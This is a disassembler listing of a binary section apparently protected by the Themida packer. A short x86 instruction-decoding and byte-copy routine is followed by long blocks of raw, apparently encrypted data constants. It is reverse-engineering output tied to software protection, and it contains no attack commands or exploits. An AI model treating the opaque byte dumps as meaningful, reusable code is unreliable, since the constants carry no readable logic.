loc_593F19:				; CODE XREF: Themida_:00593EEEj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_593F4E
		cmp	edi, 7Fh
		ja	loc_593F4E
		test	bl, 38h
		jnz	loc_593F4E
		cmp	byte ptr [ebp-7], 0
		jz	loc_593F48
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_593F4B
; ---------------------------------------------------------------------------


loc_593F48:				; CODE XREF: Themida_:00593F39j
		push	1
		pop	eax


loc_593F4B:				; CODE XREF: Themida_:00593F43j
		mov	[ebp-1], al


loc_593F4E:				; CODE XREF: Themida_:00593F1Dj
					; Themida_:00593F26j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_593F54:				; CODE XREF: Themida_:00593DFEj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_593F7F
		dec	eax
		dec	eax
		jz	loc_593F75
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_593F87
; ---------------------------------------------------------------------------


loc_593F75:				; CODE XREF: Themida_:00593F64j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_593F84
; ---------------------------------------------------------------------------


loc_593F7F:				; CODE XREF: Themida_:00593F5Cj
		mov	al, [ebp-3]
		add	al, 4


loc_593F84:				; CODE XREF: Themida_:00593F7Aj
		add	[ebp-1], al


loc_593F87:				; CODE XREF: Themida_:00593F70j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_593FAF
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_593F9A:				; CODE XREF: Themida_:00593FA9j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_593F9A


loc_593FAF:				; CODE XREF: Themida_:00593F8Fj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0D08Bh
		dd 7ECF8D8Dh, 95890622h, 61D3139h, 20D18D89h, 6A061Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 85C7EAC3h, 61D331Dh,	6108h, 2BF985C7h, 61Dh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3EFCE3C3h, 12E8B336h, 77000000h, 4A6B691Bh, 17DF019Fh
		dd 0AF6B1A0h, 0AD213184h, 0EDBD895Ch, 5A061D25h, 84789ABAh
		dd 4E35BE24h, 0B5FF40BBh, 61D13F5h, 0FFD38B66h,	1D151995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 958B41C4h, 61D2F75h, 95FF006Ah, 61D1209h
		dd 6AEBC08Bh, 8707AD9Ah, 0E51FE54Fh, 0F928F2Fh,	411DECAEh
		dd 82531856h, 0CFFC2211h, 4B40A73Eh, 59B4D8C7h,	19C1D730h
		dd 447C2AE2h, 7D4C118h,	3F784544h, 3057F702h, 26D94025h
		dd 0B5339C73h, 0A4B4529h, 6FB5A1C7h, 0C8C389F4h, 0BD14FAFAh
		dd 1B5F73B7h, 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h,	0BAC7CDC6h
		dd 8D62A347h, 4420C612h, 8D8D89FCh, 622800Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 33C35040h, 0D88BA493h
		dd 20D18D89h, 858B061Dh, 61D1C4Dh, 331D85C7h, 63AC061Dh
		dd 89600000h, 1D338D9Dh, 0F9BF0F06h, 0F985C761h, 61D2Bh
		dd 66000000h, 0FFBDB8BEh, 1D16C1B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0B372F737h
		dd 0E8E26B01h, 0Eh, 0DE1CB1A6h,	77D8E0D0h, 1CD5383Ch, 66529BC2h
		dd 5E3B66BEh, 1995FF5Eh, 6A061D15h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0FF6C350h
		dd 68Fh, 118D8900h, 6A061D19h, 995FF00h, 8B061D12h, 0BA5EEBC0h
		dd 463E8CA6h, 0C8C87195h, 0DACA6649h, 50C2BBF0h, 0CCACC8B5h
		dd 5BB71547h, 651F65B6h, 8871557Eh, 0D13EF151h,	482CC99h
		dd 6166BE3Fh, 53F022BDh, 4A5A8D3Ah, 651DA848h, 5AD9FC74h
		dd 20587C7Eh, 0E8C891E6h, 417438F5h, 9F82DCFh, 2FB9C6DDh
		dd 0D52D213h, 99FB4ED1h, 0B4E1BDC6h, 15CE930h, 1F530000h
		dd 4BF5F0E7h, 58AB96FFh, 56360AEDh, 567E53E6h, 58D00AE5h
		dd 713E53EEh, 245E3AC5h, 254B5397h, 794DC4B7h, 0B6876003h
		dd 148A52D0h, 151153A1h, 149C53A1h, 144A53A1h, 142753A1h
		dd 149353A1h, 14E653A1h, 14E453A1h, 147A53A1h, 143953A1h
		dd 6DCF53A1h, 792B27D2h, 667773A1h, 67F630CEh, 14C90ED2h
		dd 14E453A1h, 147253A1h, 143953A1h, 149C53A1h, 144E53A1h
		dd 142753A1h, 149353A1h, 14C953A1h, 14E453A1h, 147253A1h
		dd 143953A1h, 149C53A1h, 144E53A1h, 142753A1h, 149353A1h
		dd 14C953A1h, 14E453A1h, 147253A1h, 143953A1h, 149C53A1h
		dd 144E53A1h, 142753A1h, 149353A1h, 14C953A1h, 14E453A1h
		dd 147253A1h, 143953A1h, 149C53A1h, 144E53A1h, 142753A1h
		dd 149353A1h, 14C953A1h, 14E453A1h, 147253A1h, 143953A1h
		dd 149C53A1h, 144E53A1h, 142753A1h, 149353A1h, 14C953A1h
		dd 14E453A1h, 147253A1h, 143953A1h, 149C53A1h, 144E53A1h
		dd 142753A1h, 149353A1h, 14C953A1h, 14E453A1h, 147253A1h
		dd 143953A1h, 149C53A1h, 144E53A1h, 142753A1h, 149353A1h
		dd 14C953A1h, 14E453A1h, 147253A1h, 143953A1h, 149C53A1h
		dd 0E9CD53A1h, 1DE902B3h, 68000016h, 62283B0h, 0FBC41EE9h
		dd 848768FFh, 14E90622h, 68FFFBC4h, 6228555h, 0FBC40AE9h
		dd 861D68FFh, 0E90622h,	68FFFBC4h, 62287D0h, 0FBC3F6E9h
		dd 892C68FFh, 0ECE90622h, 68FFFBC3h, 6228A25h, 0FBC3E2E9h
		dd 8AEF68FFh, 0D8E90622h, 68FFFBC3h, 6228D03h, 0FBC3CEE9h
		dd 8DC868FFh, 0C4E90622h, 68FFFBC3h, 6228EA5h, 0FBC3BAE9h
		dd 8F3468FFh, 0B0E90622h, 68FFFBC3h, 6229074h, 0FBC3A6E9h
		dd 957D68FFh, 9CE90622h, 68FFFBC3h, 6229650h, 0FBC392E9h
		dd 74E512FFh, 1E4FBBEFh, 0C9346599h, 77941044h,	2445BEF2h
		dd 0B61E069Fh, 63971C4Dh, 1246CB3Ah, 0BEF277E8h, 0FA22740h
		dd 45954690h, 76799367h, 0E4057B08h, 2740BE14h,	23DF55A2h
		dd 25BC8CFDh, 0F5C30D90h, 5B9760DAh, 4575FACAh,	45DCACD9h
		dd 2D7E2595h, 88F36CA7h, 0CB338959h, 0A378CA9Ah, 60310B42h
		dd 317BDAFFh, 6CA72D8Eh, 3C23D364h, 0B8FA33CDh,	2FCAh
		dd 0D2623800h, 0DD0D6CEFh, 0E40981ADh, 38E87D14h, 60C632C8h
		dd 4871897h, 8B3BA8D4h,	389249B9h, 0C0916CA7h, 4D31D85Fh
		dd 0DA66B8FAh, 0D4000000h, 8854AE4Ch, 0F5472D13h, 45E7F0ABh
		dd 0B84DDE95h, 0FBCB3864h, 205EB464h, 66A1F7C7h, 0A3E13707h
		dd 6429C74Ah, 76EB1982h, 0D52BFDADh, 6BB93EAFh,	9545BAFFh
		dd 0C79A5D5h, 9FF5A53Ch, 20830861h, 0A656B7F0h,	0E9B9D250h
		dd 8407BA7Ah, 60DF6C3Ah, 0DDA44297h, 30FE88A5h,	68F9EE9Eh
		dd 239E96E3h, 94A341A0h, 1475ABA7h, 0C5929152h,	0F7E3A515h
		dd 80116E81h, 7452CDFDh, 0C144D90Ah, 99CA3262h,	81F0702Bh
		dd 970E5E66h, 7A0FA676h, 0D989F226h, 84E51E52h,	0A948AA78h
		dd 0EE410FB0h, 1389h, 0A82D5CCBh, 52D70474h, 0FD82EB1Eh
		dd 0AB305DC9h, 58DD0C77h, 346FD7BFh, 0E11C50D5h, 51CBFF84h
		dd 977AB30h, 49C85BE0h,	67445CFFh, 0C12F3293h, 5CE1007Bh
		dd 0C91FA28h, 0E31C4C9Ah, 952A5BC3h, 3BE76E5h, 0C6A03680h
		dd 0F5869760h, 380EB525h, 17836CA7h, 380DAEF8h,	50E16CA7h
		dd 6895EBBBh, 6DB2DFDh,	0C3946EA5h, 4D2EDB62h, 0C469B8FAh
		dd 0D7000000h, 14E4057Bh, 542445BEh, 45CC74E4h,	0E6077D95h
		dd 96F72D61h, 931141C6h, 6313AA7Ah, 0FE8140F4h,	9F55E6B4h
		dd 8CFC4C68h, 0F845CA5Fh, 0B802853Ch, 6E80F52Fh, 21DA2483h
		dd 0D6686E9h, 90EEBA7Ch, 1AAB00C5h, 61E4756Ah, 5FA9F631h
		dd 6686A2BCh, 0E76C0192h, 0D1948B3h, 0B0AA1A51h, 0B25FB280h
		dd 0F4000012h, 9DD15687h, 477B006Dh, 0F226ABD2h, 0A0D4598Ah
		dd 0E8810667h, 0FE6F9800h, 0ADD84579h, 598AF428h, 962A0D4h
		dd 2872F184h, 93674377h, 7BEA585Bh, 0C05EE100h,	5292F9AFh
		dd 0CF56062Fh, 0DA45659Bh, 0C56DBABh, 95459253h, 0C519AE3Fh
		dd 0C55C2C59h, 1848AB30h, 38BD7FECh, 0CC81151Dh, 7BF78B3Bh
		dd 0BE14E405h, 45A42740h, 45C740FBh, 0ED9D2E95h, 96C73266h
		dd 1A3270C6h, 67EC81E2h, 2D076FB2h, 35C71194h, 1B9760DCh
		dd 873D878Ah, 0F39E2D53h, 0B3FD8041h, 95387CC9h, 57C69627h
		dd 1761E4DDh, 6B5E4D3Fh, 0D231B445h, 26AD5B34h,	0A3F7D31Bh
		dd 3590978h, 0B9E96C9Dh, 0BB52224Bh, 0D250840Bh, 47FBADB9h
		dd 4816AE52h, 11E4F5h, 88F12600h, 325BCF03h, 0DD0079ADh
		dd 8BF82458h, 38A9D206h, 0CA321AB3h, 77AB3051h,	265ADF0Eh
		dd 0D2068BFCh, 23B63BACh, 42A15AA4h, 8A8D9367h,	0B7057B1Ch
		dd 2ECB37FAh, 0EFBF5475h, 8A0DB480h, 60521A40h,	0DC5FF097h
		dd 0D8FDF93Eh, 621275D2h, 5179A7DBh, 5121B6D7h,	0EC6F52E2h
		dd 84028FA2h, 9AE4636Eh, 66850EE1h, 0C07E61FEh,	0AB9EAF8Eh
		dd 0D202851Ah, 0D06737A8h, 356B9B20h, 0E51B4FD4h, 0EF45B484h
		dd 0E61F4FD2h, 852D787h, 64A7B881h, 0F79518A9h,	0E45CC40Bh
		dd 0F77C2C46h, 0AB3059C7h, 10E00977h, 0AB2E93A1h, 0FEDE3761h
		dd 4F5F1D7Ah, 59EB70E1h, 6A167E2Eh
		dd 0B40DD4A8h, 9463131Fh, 0BC8ABCEBh, 111C69h, 0C0295E00h
		dd 6A93073Bh, 1578B1E5h, 0C3205C90h, 70910A3Eh,	26A52EBh
		dd 0AFE36899h, 5E921776h, 0A3EC324h, 5BEE7394h,	41E992DCh
		dd 0C2C59367h, 0E1007B54h, 9C250F5Ch, 0CF70BA19h, 0A39545C7h
		dd 93DD6212h, 9760E461h, 98EEBE4Fh, 4E7E016Ah, 90F5B7D0h
		dd 688DDD0Ah, 3DA027D7h, 0A474910Dh, 99075D0Dh,	331A070h
		dd 92DC3BBEh, 6CA740E9h, 43FC46C5h, 2F6CA740h, 0D459099Eh
		dd 8263A08Ah, 8AFE4E6Eh, 0EA49CC61h, 80ADFFA0h,	9242D366h
		dd 0D0316AC0h, 1071AA00h, 95F6C940h, 0EB890E5Eh, 1CA18F68h
		dd 693EEEFFh, 7BEC1208h, 0EFF593F6h, 8E317BA7h,	64668010h
		dd 699011D3h, 11239242h, 0B1E32DB0h, 9F64A525h,	22B7D64Fh
		dd 6586FC52h, 5F8FF295h, 3F14C425h, 5C65CFDEh, 41658FD9h
		dd 0CC4B7AC8h, 4F78236Dh, 0C55672CEh, 0CE4FA457h, 4907BB72h
		dd 0DB0F8BE0h, 3DC257E8h, 0EF729B09h, 60EFED51h, 60F7C724h
		dd 9B74CF9Eh, 0F2A919EBh, 7772CED6h, 0B50BDB02h, 0D44B1B4Ah
		dd 9F69A001h, 69978DEEh, 0D9477B00h, 80FD2DB0h,	74E3B565h
		dd 1F7E01C0h, 0CF362AD5h, 4EB80872h, 21B64D1Dh,	78A2EC71h
		dd 5670EA2Bh, 0ADDD40C5h, 0AA41117Ch, 930523FAh, 0FF9D20A1h
		dd 0CB6D4B0Ch, 85351Eh,	0A627BB6h, 0EBEE7F76h, 512140BBh
		dd 0F6D3AE1h, 0D750804Eh, 9F4FE6B6h, 3ABD0430h,	2DE291F0h
		dd 8508994Ch, 1812E7E7h, 0B4990E06h, 0C5B4766Eh, 880DBD05h
		dd 3CC12A58h, 46D83BD9h, 509A5EB1h, 0B3D44AA0h,	0F3128DE3h
		dd 453741E7h, 0A7FAC8CFh, 0F69h, 880D7CABh, 32B72454h
		dd 0DD628BFEh, 8B107DA9h, 38BD2C57h, 0D44FB79Fh, 81FC30B5h
		dd 71ABDF64h, 29578B10h, 29A83BC0h, 67403CDFh, 0A10F1293h
		dd 5CE1007Bh, 0E91FA28h, 0BE297B70h, 67172E0Bh,	67B11095h
		dd 954531B4h, 359099Ah,	0B9E96C9Dh, 0BA51214Ch,	0BB6C380Ah
		dd 0CD3E645Ah, 43868348h, 8611BF18h, 7F000001h,	0F925057Bh
		dd 1CBF098Ch, 0F29545C7h, 0A6FCCC61h, 3D8A0F78h, 0FD47CAF7h
		dd 9760DAAFh, 22810495h, 2DC679C3h, 1BAC6CA7h, 0A72DF2ADh
		dd 9F4FE06Ch, 2EA65DCDh, 24A56CA7h, 79DB0A86h, 52026580h
		dd 74951C7Dh, 23B8FA46h, 3Fh, 0EFD26291h, 0C65C226Ch, 0E1729760h
		dd 0BBFAC05Eh, 0F7C1DADDh, 3B3F1BEEh, 31B44934h, 0A73D34E7h
		dd 0D9891A6Ch, 3DE09707h, 5EDF6CA7h, 0C797F02Eh, 4AAB8030h
		dd 0FA4846C3h, 0AA51B8h, 7BBF0000h, 0BE14E405h,	42A12445h
		dd 45C747F8h, 62AC2B95h, 9545C7B9h, 0BF6F0495h,	6997EDh
		dd 16A4DA30h, 630A4F7Bh, 1D450781h, 4DBB0AB4h, 0F745CA5Fh
		dd 9545ED0Bh, 76F91290h, 2682D846h, 868D8DC6h, 3BD2A237h
		dd 7DB7048Bh, 6A77C144h, 509762F7h, 0D4698200h,	87E62151h
		dd 3455CE02h, 8C509428h, 4C9F6DAAh, 0E0Dh, 2CB1D84Fh, 0D65B80F8h
		dd 810677A2h, 2FB4D14Dh, 0DC6180FBh, 88F35B43h,	65A0D459h
		dd 0D54F8308h, 85FB2FB4h, 0CD4CDF64h, 674ED883h, 45B3B693h
		dd 80ED1C4Ch, 136919B0h, 0C0F479E8h, 32A42942h,	80ED1C4Ch
		dd 58C519B0h, 16C65D2Dh, 592942C0h, 0E96C9D03h,	550D5C4Bh
		dd 0FAAACD70h, 0A8C13F73h, 0FD2353D8h, 0C76DDC8Ch, 0F346F6CDh
		dd 19AE8638h, 4E324C96h, 0A1209760h, 0A640A457h, 64F98A6Ch
		dd 1776B1E1h, 5EAFE067h, 2C000007h, 0AF5F8CFCh,	0A3ED4C1Bh
		dd 9545C7F8h, 78C245D6h, 9545C7C7h, 146A1AABh, 25AA7AEBh
		dd 0C7C37CC6h, 1EAF9545h, 0C759FE6Eh, 81B39545h, 0C7570852h
		dd 0AA3B9545h, 11489215h, 0F9976748h, 4FB5E568h, 636991Eh
		dd 89F6F98h, 471744B4h,	74AA00B0h, 0E8B82554h, 96ECBC51h
		dd 0B60DCF6Dh, 18E36C0Eh, 5AED7783h, 0F6C4AA90h, 0D14A3h
		dd 0B8215600h, 628BFF33h, 0D70A9DDh, 0BB285488h, 68990236h
		dd 0FA624AE3h, 0A7DB6081h, 568A0F7Eh, 236BB2Ch,	53E66B9Ch
		dd 4DD18AD4h, 0BABD9367h, 0FFAE4C4Ch, 976CBEC3h, 972C878h
		dd 0E11F53D8h, 0ABD50588h, 7FD36A3Ah, 8118E801h, 7BA9FFD1h
		dd 15764212h, 7C4CB9E5h, 0FF6035E5h, 0ED729B09h, 17A7E128h
		dd 6494C4BFh, 0A11CBF09h, 61F29545h, 0B565FCCCh, 2A22h
		dd 316F9F00h, 1D7108D8h, 42D686E7h, 45CDA061h, 7A3BFB95h
		dd 0F3D33B94h, 0FD7E0D5Eh, 0EC8AFFFFh, 7F2C4AF1h, 0C71A836h
		dd 6133C777h, 9545C7BAh, 20A31E16h, 6748ABD6h, 7BFE8F97h
		dd 2FB4D54Bh, 946485FBh, 98A4C53Eh, 0AA8FFF10h,	4AD82BF9h
		dd 8C00000Ch, 3569EE1Fh, 0DF1398C5h, 8ABE43AAh,	386CF112h
		dd 80199ECFh, 96F73098h, 45A0DD11h, 0F1128CC0h,	0A1CA386Ch
		dd 0C00A891Ch, 93674D1Fh, 7B82F0F3h, 0BE14E405h, 8B572740h
		dd 1D8379DAh, 67A267ECh, 30BF174Dh, 10h, 0CDA0619Eh, 30699545h
		dd 0F1E738CDh, 55FFFFFCh, 6CEFD262h, 60B73C22h,	0B1811297h
		dd 0A7099B41h, 0AA098A6Ch, 0A709BF60h, 0CA14936Ch, 6CA70911h
		dd 27D76CFDh, 9CCCF152h, 13CC1661h, 0FF6CA709h,	4229D96Eh
		dd 0B8FA17C7h, 1D3D0h, 0AA613E00h, 0F19545C7h, 7E3D7FF8h
		dd 4BF388DEh, 0F97EEF15h, 376F5FC5h, 424206D6h,	8A00291Eh
		dd 0E8B84DE2h, 96C73363h, 0C72976E6h, 71AC9545h, 0BBEE4414h
		dd 0B3FD8252h, 9545C908h, 0DE055E6h, 502575ACh,	358BF9EFh
		dd 0C3C11CF4h, 0BB40D50Ch, 29F9C46Eh, 0B73CADD3h, 1CEC1D83h
		dd 2F43F997h, 0AA1DA998h, 0CC7C1172h, 4556775Ch, 0F5931495h
		dd 0E393BA46h, 14E999BAh, 4DD2CB3h, 51BABF18h, 37000001h
		dd 4ED8ED8h, 28609545h,	8F3FD0C3h, 0B7057BFBh, 47FB3AEh
		dd 2DFD9232h, 0BB40A9D7h, 0C23CC66Eh, 0B6D74DA1h, 37BA4FE6h
		dd 6004DFEDh, 4C96F597h, 6CA60F93h, 0DC2CEE7Fh,	84E9775h
		dd 17675C0Ch, 18E87DECh, 0A665F3A8h, 0BE1FF06Ch, 0FAEBD237h
		dd 47C5B8h, 62330000h, 4B701D2h, 0EA9545C7h, 0F741C459h
		dd 9760C661h, 0C14B8947h, 658414C0h, 62F9C934h,	0F86838CDh
		dd 6CA7AB43h, 5E2E5FC6h, 9D6D9E08h, 0B91D7E33h,	72B7EDE2h
		dd 1DB70F8h, 0C148CF30h, 0D6B8F9A2h, 98h, 0E4057B44h, 0F745BE14h
		dd 0F9279168h, 94F8CE90h, 37CC3965h, 67CD2A2h, 41BF15E5h
		dd 1D55A328h, 76954521h, 0D5ADF08h, 0B8179A27h,	456ECD6Eh
		dd 0BC10A195h, 0EE732340h, 628C55A4h, 69EC7D97h, 0A8E0CE39h
		dd 0FDAF7343h, 698ABEC3h, 0E76C0196h, 0D1948B3h, 0AA8BE28Fh
		dd 3651A472h, 7800000Ah, 2155DA03h, 0CBFF84E9h,	76AA2F5Eh
		dd 2458DD0Eh, 6C058AFBh, 82E31C84h, 315CC9FDh, 0DD0E78ACh
		dd 8DFE2458h, 0ACF67508h, 93674AF3h, 7B6EDCDFh,	285CE100h
		dd 9A0C91FAh, 14E4057Bh, 0ACFA40BEh, 90C20334h,	6D85872Bh
		dd 0C088DAABh, 0BE75A62Bh, 0E3000003h, 82E31C4Ch, 946B1BB2h
		dd 566BC9B5h, 48A989D3h, 0C2539767h, 3BE76BFh, 0FB44E280h
		dd 346FBC6Bh, 98CA31EAh, 0F78C1D6Ch, 0E78C247h,	646EBDDBh
		dd 3D00BB05h, 5DEE66FAh, 5727B8ADh
		db 0E7h, 30h
word_594F42	dw 0FA3Dh		; DATA XREF: ___:off_4387C0o
		dd 0FD5E2F66h, 0D7439376h, 33504B2h, 61720000h,	9545C7BAh
		dd 45C76115h, 665BD995h, 0B62B99E3h, 80119760h,	8AB20874h
		dd 0C81BE9AAh, 971h, 901544B3h,	3ABF2C5Ch, 0E56A9306h
		dd 931875B1h, 40C5245Fh, 2C57BFA7h, 990438BDh, 49B3E76Ch
		dd 215F9318h, 31B043C8h, 674A34E7h, 0A9171A93h,	14E4057Bh
		dd 9738FA5h, 0DC7108D8h, 48160F59h, 0ED4C9767h,	9847F8A3h
		dd 9545D66Ch, 24D721A0h, 0A6C9847h, 8A1F40BAh, 112370F5h
		dd 87FD2DB0h, 0E731B666h, 6EBAC892h, 74A427B8h,	957DC09h
		dd 66FEC67Ah, 0AEA732D0h, 8244A1DCh, 80F9FB24h,	874C85Dh
		dd 0C4740BDBh, 5EE1DE55h, 6D158AC0h, 0BA6A1100h, 7986FF33h
		dd 42B0DD49h, 66FF5899h, 1790E475h, 0FA8F26F6h,	7EAED42Ah
		dd 0CA4DE20Bh, 5000619Ah, 9C250F7Eh, 0AF947B19h, 0CC39E22Ch
		dd 841566FFh, 91AA7DC2h, 4C125CE1h, 6264DA2Ch, 9763C5D1h
		dd 501EB6CFh, 894FDh, 38A1D600h, 0E20B7FB3h, 8DF0295Dh
		dd 3BA8D408h, 0E81982B6h, 7AE2CA63h, 275BE001h,	0D60A8FFEh
		dd 82B63BACh, 0D366EB1Ch, 49510A54h, 3A3D9367h,	0EFD262CCh
		dd 48DF226Ch, 0A3F39767h, 0A0370776h, 2D58880Bh, 3AD83BC0h
		dd 0A6E5C90Eh, 0FA5000C7h, 23926283h, 0CE2DB011h, 51016A9Eh
		dd 0BA5244E1h, 0E52FAE6Eh, 66FF5D3Ah, 22F28718h, 48181B3h
		dd 5D0EB1FBh, 53E466FFh, 0C257EEBEh, 2F9FF53Fh,	49564DAh
		dd 0D01798F8h, 0E03301B6h, 805h, 24A9D047h, 0CE53B8F0h
		dd 79FE6F9Ah, 27ACD945h, 0D45988F3h, 0B0EB533Bh, 6D98CC51h
		dd 0DD477B00h, 8DF327ACh, 0C544D75Ch, 6748C07Bh, 3DABAE93h
		dd 14E4057Bh, 572740BEh, 96668701h, 0D8A8C540h,	2158B96Eh
		dd 4F45A657h, 6E33B8D1h, 0BF17499Bh, 152FCh, 57B6A00h
		dd 40BE14E4h, 0DF55A227h, 87155FE2h, 0AD9760DAh, 2D3BE42Eh
		dd 86176CA7h, 0B00F6EF1h, 0A72DB566h, 9A08996Ch, 6CA72DE1h
		dd 0BFE83CCDh, 5CCC9E4Eh, 6CA72DA7h, 0EB72D3A4h, 0B8FA341Eh
		dd 0BE2F5787h, 0FB6098EEh, 4023B666h, 91000000h, 0F930D262h
		dd 0D92DC494h, 0DB7242ABh, 0E379C346h, 0C99760C6h, 4BE00D79h
		dd 7C1F69C8h, 526CA738h, 0CF3F11C1h, 6CA73828h,	0C0E54617h
		dd 5AB6B322h, 0AE5EC51Ah, 0F98D42C7h, 0AB55B8h,	7BC30000h
		dd 0BE14E405h, 0E49FF745h, 0DEA35CF0h, 45CBEB94h, 0A136C795h
		dd 0B8E63C0Ch, 372ECC4Fh, 0FC24F6B3h, 7444A9E1h, 0C69848DDh
		dd 54D93270h, 2A43C1F1h, 0A64E0A7Ah, 0ED139545h, 8AAAF77Ch
		dd 1F6AB437h, 4397620Ch, 84FF2FB2h, 750A73A6h, 2243BCF0h
		dd 8CF9C016h, 85B29AAh,	6C5h, 0E4699007h, 8E1378B0h, 39BE2F5Ah
		dd 0E76C9905h, 941948B3h, 70AB13FBh, 2D588C11h,	9D073BC0h
		dd 4DB3E76Ch, 8504971Ch, 6757803Bh, 0FD6B6E93h,	5EE1007Bh
		dd 9B926C0h, 0BB6B95C9h, 0AA820034h, 24D72170h,	0A9545B6h
		dd 0CA4FE479h, 0E4057B58h, 2740BE14h, 4771A2h, 0BEEE0000h
		dd 0C8356444h, 0FCCC61F8h, 0FA21B565h, 8C76BEEEh, 66A1F516h
		dd 90EF7207h, 18C82560h, 67488FA8h, 0AAF47397h,	6C98B8F1h
		dd 0B4B74CDDh, 9E968603h, 3870A023h, 549E23D3h,	6EBA36D2h
		dd 5F8C8F20h, 57h, 0EFD262CDh, 9FCC3C6Ch, 2B2D34Bh, 0DA09337Dh
		dd 56E79760h, 983E1686h, 0B6E389A0h, 0E9217747h, 95F63084h
		dd 1A7B4EC5h, 0BBEB6EE3h, 0BB522243h, 0D03967h,	83E4B969h
		dd 7E01C074h, 82230A34h, 0D257E86Eh, 0CBA1h, 75BF1E00h
		dd 668025CAh, 58C317A8h, 62E57929h, 226CEFD2h, 97674807h
		dd 0D4609BEBh, 81D0DAC5h, 871CB1D8h, 4FE05D32h,	53B63D9Eh
		dd 52B8F535h, 0DA8AFB22h, 7E47h, 0D262B500h, 6226CEFh
		dd 5C976748h, 0E191F22Ch, 3AD85BECh, 0B656167Fh, 0EB42F292h
		dd 57089916h, 0FF9A6FF6h, 0AC0BB8F4h, 9879B962h, 5404956Ch
		dd 4AC1h, 0FA03E00h, 0F4A7F147h, 0DA6C9876h, 46E08749h
		dd 0CA85BC7Eh, 0EB249B60h, 0D262A73Bh, 499F230h, 79C32281h
		dd 9545C7C6h, 0FB6B1BACh, 97674838h, 42FD47C6h,	306C9847h
		dd 0E0B50A9Fh, 0C021D263h, 0F4C9D039h, 16C7B8h,	4C350000h
		dd 0C61C07AEh, 0A959113Dh, 45EFFA39h, 0EE0D5E95h, 7BFFFFFEh
		dd 7E96AE4Ch, 0F1E8B755h, 5F62D241h, 70463EDCh,	0E6910C25h
		dd 2252B136h, 0F0765CFAh, 74F3C291h, 0C8780FDFh, 6797E958h
		dd 0DD23C197h, 0C2D98627h, 80D0C575h, 7E4EE308h, 199C250Fh
		dd 0B9D355CFh, 3A0A9B6Eh, 0EB1A85B5h, 5968CC3Bh, 53058CD6h
		dd 9C2D64DBh, 115BBA19h, 78DC5D6Eh, 0AD03B344h,	3E8B107Dh
		dd 0FE48CBF6h, 7AFEDD13h, 0B3E366F7h, 0FF2F5949h, 1986881h
		dd 0D2469C6Ch, 0AD42D9A9h, 8B459318h, 48EA1C34h, 5687F2DAh
		dd 3BD93CC1h, 0B14A2371h, 0CF25D54Eh, 0F9683851h, 3059C73Bh
		dd 5CCE189Bh, 92D83070h, 0ADF3101h, 1C4DB3A9h, 0C8396397h
		dd 4676A2F8h, 0CE71BBD2h, 0A4DC76BFh, 19E97E13h, 0A1EB4AAFh
		dd 0DC76BFFEh, 0BE9343D4h, 0CC3D675Dh, 78E91347h, 4052D1A8h
		dd 0E01A1071h, 6288FA7Fh, 0BB05D6h, 0EE9545C7h,	0EF90DA5Dh
		dd 0C39545C7h, 0BB1A9D32h, 45C7CE71h, 5113A495h, 55FE17F9h
		dd 5F31E149h, 1172AADAh, 74950B61h, 0ED4E01A4h,	74B05ADEh
		dd 2CC12A58h, 3471C55Ch, 62C144D9h, 45396718h, 8FFB4B95h
		dd 62F78E5Eh, 89F72BB2h, 0BA360B60h, 3D339465h,	44A3A6C7h
		dd 474FE914h, 541D4882h, 0A2F8A83Dh, 0C5350576h, 9545D31Ah
		dd 2578169Bh, 8D3278D3h, 0CC2D02B2h, 0B639A2D6h, 56520D57h
		dd 0A5DF9545h, 10C05144h, 0BA2B5589h, 56C47AEAh, 0E3929545h
		dd 0F1128C82h, 72391E6Ch, 53E9545h, 0FA7BE418h,	990111D3h
		dd 345E9886h, 9450BA9Fh, 4447BF17h, 0B5FFFFFFh,	61E4057Bh
		dd 0C707B802h, 5AEB9545h, 0B1EF23AAh, 0A9FD6099h, 0A940107Dh
		dd 356BBF14h, 80017FD4h, 6B6D750h, 0A4DAD031h, 8A7F4043h
		dd 0DBF174Dh, 47h, 1341EC8Ah, 66C69D7Ch, 8737CC3Dh, 0EC1C4CF3h
		dd 9B2FC7Fh, 0E59545C7h, 0FF35A454h, 33F53FC2h,	0C1976748h
		dd 8A06DB30h, 4857B889h, 852D5ECh, 6EBAC82Eh, 0EC1984D4h
		dd 2C5DC61Ch, 9B30C55Ch, 316B98h, 62D90000h, 226CEFD2h
		dd 97674800h, 33085DEEh, 0C122F3A8h, 0BC3F82B2h, 0BA37B072h
		dd 8D10AE6Eh, 63641015h, 0DE6F6414h, 90DE7CDBh,	76B9AF44h
		dd 7B63F7A7h, 8F14E405h, 12C22B5Fh, 0A02546BCh,	5DE0E153h
		dd 60DA8513h, 4A1AAB97h, 0A72D25DAh, 0F051226Ch, 0FA33A069h
		dd 35F7B8h, 62650000h, 4B701D2h, 0EA9545C7h, 0F741C459h
		dd 9760C661h, 76E6B647h, 6CA738C1h, 58CEDBEh, 0B8FA4D04h
		dd 1B3371A1h, 1EEE83E2h, 98C93387h, 0EE55E8h, 4CC30000h
		dd 0C7F8A3EDh, 86D69545h, 841BEB1Ch, 0BBE93FEFh, 0CDFD8252h
		dd 2A80305Dh, 0AE0D90F1h, 45C7BB64h, 56069795h,	0D8F02E84h
		dd 0DAAA3FACh, 0B5FF1E84h, 9545C70Ah, 3DC257E8h, 45CC03EFh
